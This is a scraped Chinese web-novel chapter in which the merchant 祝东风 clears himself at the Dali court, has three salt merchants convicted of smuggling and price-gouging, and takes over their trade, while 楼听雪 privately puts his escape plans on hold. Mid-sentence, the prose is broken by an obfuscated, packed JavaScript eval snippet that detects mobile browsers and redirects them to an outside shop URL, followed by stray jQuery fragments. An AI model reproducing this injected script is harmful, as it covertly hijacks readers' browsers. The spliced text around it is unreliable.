文趣网 > 其他小说 > 我是直男,我不嫁人 > 20. 【繁楼】翻盘
    此言一出,众人哗然。

    赵有财怒不可遏,道:“你血口喷人!”

    祝东风一声令下,守在外面的林石和文骁便闯了进来。

    他们手持状纸,纷纷递在大理寺卿面前,道:“此物便是他们三人的罪证,还望大理寺卿过目!”

    这般变故实在突然,大理寺卿顿时吓了一跳,道:“大理寺重地!你们怎可随意闯入?!”

    林石和文骁无动于衷,只是又道:“还望大理寺卿过目!”

    大理寺卿思索片刻,还是接过了状纸。

    他垂眸看去,不过看了片刻,面色顿时难看至极,随即怒道:“你们好大的胆子!”

    状纸之上,字字清晰,不仅详细列明了三大盐商长期贩卖私盐的罪证,还附上了他们私下勾结、妄图嫁祸祝东风的往来信件,桩桩件件有理有据,根本推脱不得!

    大理寺卿不敢有片刻耽搁。

    他看向一旁的侍从,又道:“你去将此物呈给圣上,此事非我能定夺!”

    话刚说完,大理寺卿则又看向赵有财三人,怒道:“状纸上皆是你们三人在淮南囤积私盐的罪证!你们将大梁的盐囤积至大周,难不成是想要通敌叛国?”

    此言一出,三人顿时直呼冤枉。

    赵有财哭得一把鼻涕一把泪,道:“大人误会了!我们并非是通敌叛国,只是......”

    “若非通敌叛国,为何要将大梁的盐转运至大周?后来还要借用我的万石艎将这一批私盐给运送回来?”祝东风突然道。

    王富贵气得不行,道:“祝东风!你明知此时卖盐最是赚钱!你从前想要分一杯羹,如今东窗事发,竟还想要倒打一耙,谋害我们三人!”

    祝东风顿时笑了,又道:“这么说来,你们不仅囤积私盐,还想要哄抬盐价?”

    听闻此言,三人顿时吓得白了脸。

    王富贵更是后悔地捂住了嘴,方才气得失了智,竟是祸从口出了!

    祝东风则道:“王老板可不要乱说,你们虽说要用我的万石艎运盐,可我不知你们三人要运的乃是私盐!甚至为了这一笔生意,你们还想要我的命!”

    尤千金顿时怒道:“分明是你先谋取我们手中的盐商生意!”

    祝东风佯装一副恍然大悟的模样,又道:“这么说来,尤老板便是承认了运送私盐之事?甚至为了这一笔生意不惜要我去死!”

    尤千金连忙闭紧了嘴,生怕祝东风又借他之口,说出什么不得了的事情。

    祝东风则道:“不仅如此,你们还陷害于我,你们说是要将手中的生意分给我,实则转头就合起伙来,装作一副丢了盐的模样,害得我落得个牢狱之灾,若非我让属下将此事查个一清二楚,我怕是要被你们给害死!”

    尤千金面色青一阵,白一阵,他刚要说什么。

    可祝东风先发制人,将他们的罪状尽数列出,道:“这些年来,你们三人掌握大梁的盐商生意,平日里狼狈为奸,唯利是图,做了多少见不得人的坏事?今日便是清算之时!”

    大理寺卿冷声道:“囤积私盐,哄抬盐价,陷害同行,罪加一等!来人,给我将他们三人全部收监,静待圣上下旨处理!祝东风无罪释放!”

    三人见大势已去,顿时瘫软在地。

    他们试图狡辩,可证据确凿,容不得他们抵赖,三人皆被大理寺收监。

    众人纷纷叫好。

    人群中的楼听雪却神情凝重地观望着。

    一旁的玉薇看得热血沸腾,道:“若不是他们设计陷害,主子怎么会被关在监狱这么多天?他们今日总算是遭报应了!”

    话刚说完,她就转头看向楼听雪,试图从身边之人的身上寻找到共鸣。

    可是楼听雪面色冷然,一言不发。

    于是玉薇又道:“公子在想什么?为何神情这般凝重?”

    楼听雪回过神来,道:“我在想,祝东风这一局是不是赢得太过顺利了。”

    玉薇则不解,道:“顺遂一点不好吗?”

    好是好,只是赢得太过顺利,事情绝对没有这么简单。

    楼听雪只是笑了笑,干脆摇了摇头,什么话都不肯说了。

    祝东风走出大理寺。

    阳光洒在他身上,他身姿挺拔,神色从容,恍若神仙。

    大理寺外早已围满了人,人人都想一睹祝东风的风采。

    众人争相上前寒暄和道贺,妄图盼复关系的人络绎不绝,把大理寺的门口堵得水泄不通,俨然一副众星捧月的模样。

    可祝东风却神色淡然,目光越过喧闹的人群,看着不远处的楼听雪。

    只见楼听雪身着素色锦袍,静静站在门口,他神色温和,早已在此处等候多时。

    楼听雪只是静静伫立,便成了这喧嚣人群中最显眼的存在。

    祝东风的眼底瞬间有了光。

    他抬手推开围在身前的人群,不顾众人诧异的目光,径直朝着楼听雪疾步而去。

    祝东风脚步急切却又沉稳,仿佛周遭的喧嚣都与他无关。

    他走到楼听雪面前,眼底的光芒愈发柔和,唇角扬起一抹真切的笑意,道:“劳你久等了。”

    楼听雪轻轻拍了拍他的肩头,道:“你能平安回来就好。”

    祝东风意犹未尽地摸着被拍打过的肩膀,忍不住笑意更深。

    不多时,今日之事如惊雷般传遍朝野,百官震动,百姓哗然。

    圣上得知此事之后震怒,当即下旨命大理寺重新审理此案,彻查三大盐商的罪证。

    不过半月有余,大梁皇城风云巨变。

    面对祝东风提交的铁证,再加上官府搜查到的罪证,赵有财、王富贵、尤千金三人此前的口供不攻自破。

    三人因犯欺君、贩卖私盐、哄抬盐价等多项重罪,三人皆被抄家,判了个满门抄斩,昔日风光无限的三大盐商,终究落得个身首异处,家破人亡的下场。

    与之相对的乃是祝东风。

    祝东风以身入局,一战成名!

    一时之间,他成了皇城最炙手可热的大红人,繁楼正常营业,众人争相拜访。

    可祝东风却一个人都不肯见。

    他陪在楼听雪身边,冷声吩咐随从,道:“今日之事,一概延后,所有访客,一律不见。”

    楼听雪却看他,道:“祝老板好生厉害,一下子除掉了三个竞争对手,从此以后,你就是大梁皇城里,最有钱和最有权的商人。”

    祝东风却笑了笑,道:“此次我能全身而退,少不了楼公子出手相助,如今看来,这世间唯有楼公子真心懂我。”

    楼听雪只觉得肉麻,他白了一眼祝东风,又道:“还有一事我必须警告你,赵有财、王富贵和尤千金三人在皇城多年,背靠圣上,他们原本不该这么轻易被你扳倒,只是......”

    “只是圣上有心要处置他们,如今不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17911427|213121||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    过是借我之力,寻了一个合适的时机动手。”祝东风抢先道。

    楼听雪哼了一声,道:“祝老板聪明,我就不多说了。”

    现在看似是祝东风赢了,可说到底,他也不过是圣上手里的蝼蚁罢了。

    圣上要谁掌管盐商的产业,谁就能掌管盐商的产业,若是哪一天圣上想要换一个人,那便换一个人,至于祝东风的下场,无外乎同那三人一样罢了。

    三日之后,圣上感念祝东风揭露阴谋、拯救百姓于盐荒之中,又念及他智谋过人,当即下旨将三大盐商名下所有生意尽数赐予祝东风。

    至此以后,祝东风执掌整个大梁的盐商生意,当真是好不风光。

    消息传开,更是让前来拜访祝东风的人络绎不绝,可他依旧闭门不见,只一心陪着楼听雪。

    楼听雪只觉得奇怪,于是道:“你现在可是大红人,你不去谈生意,偏要来陪着我干什么?”

    祝东风却笑着看他,道:“他们那些人在我下狱之时避之不及,如今我不仅活着,还得了盐商的生意,他们便争着抢着要来见我,由此可见,他们并非真心待我,而楼公子却同他们大不一样。”

    他的眼神几乎称得上是缱绻了,又道:“楼公子在我落难之时不离不弃,当真是对我极好。”

    楼听雪却忍不住眉头打结。

    他连忙后退了几步,又道:“祝老板对我有救命之恩,我今天不过是报恩罢了。”

    这话将两人之间原本说不清,道不明的情愫尽数斩断,当真是心如磐石,令人扫兴至极。

    祝东风回过神来,眼神冷了一些,可还是笑道:“君子论迹不论心,这话是楼公子说的,我便不去想楼公子到底是怎么想的,单论楼公子对我的好,我便要记一辈子。”

    楼听雪有些诧异地看他。

    祝东风则又道:“楼公子在我那本账目上唯独没有划去的人,我会好好利用,毕竟这可是楼公子的心意。”

    话刚说完,祝东风便要离去了,又道:“我便听楼公子的话,不再缠着楼公子了,楼公子好生歇息吧。”

    祝东风走后没多久,玉薇便匆忙小跑进来。

    她有些焦急地看着楼听雪,道:“楼公子,主子如今正高兴,你为何非要赶他走呢?现在好了,主子生气了,以后怕是十天半个月不会来。”

    不来也好,省得来叨扰他,他还不得以要逢场作戏,当真是累得很。

    楼听雪却话锋一转,道:“祝老板得了盐商的生意,现在日理万机,本就不应该来陪着我,我赶他走是为了他好,让他早点接管盐商的生意。”

    此言一出,玉薇顿时愣住了。

    可她转念一想,好像是什么一个道理,于是道:“楼公子好生体贴!”

    楼听雪笑而不语。

    经此一早,祝东风便是在他面前展露了自身实力。

    楼听雪心头骤然升起一股沉甸甸的压力。

    祝东风实在不简单。

    原本他预判过祝东风的实力,他以为自己尚可与祝东风周旋,却没想到祝东风会这么厉害,换而言之,他们竟是能真正打得有来有回的对手。

    这般局势下,他暗自盘算的逃跑计划,只能暂且搁置下来。

    楼听雪非常清楚,此刻任何冒险的举动都可能陷入万劫不复的境地,唯有按捺住躁动,静观其变,才是眼下最稳妥的选择。

    反正终有一日,他一定要离开。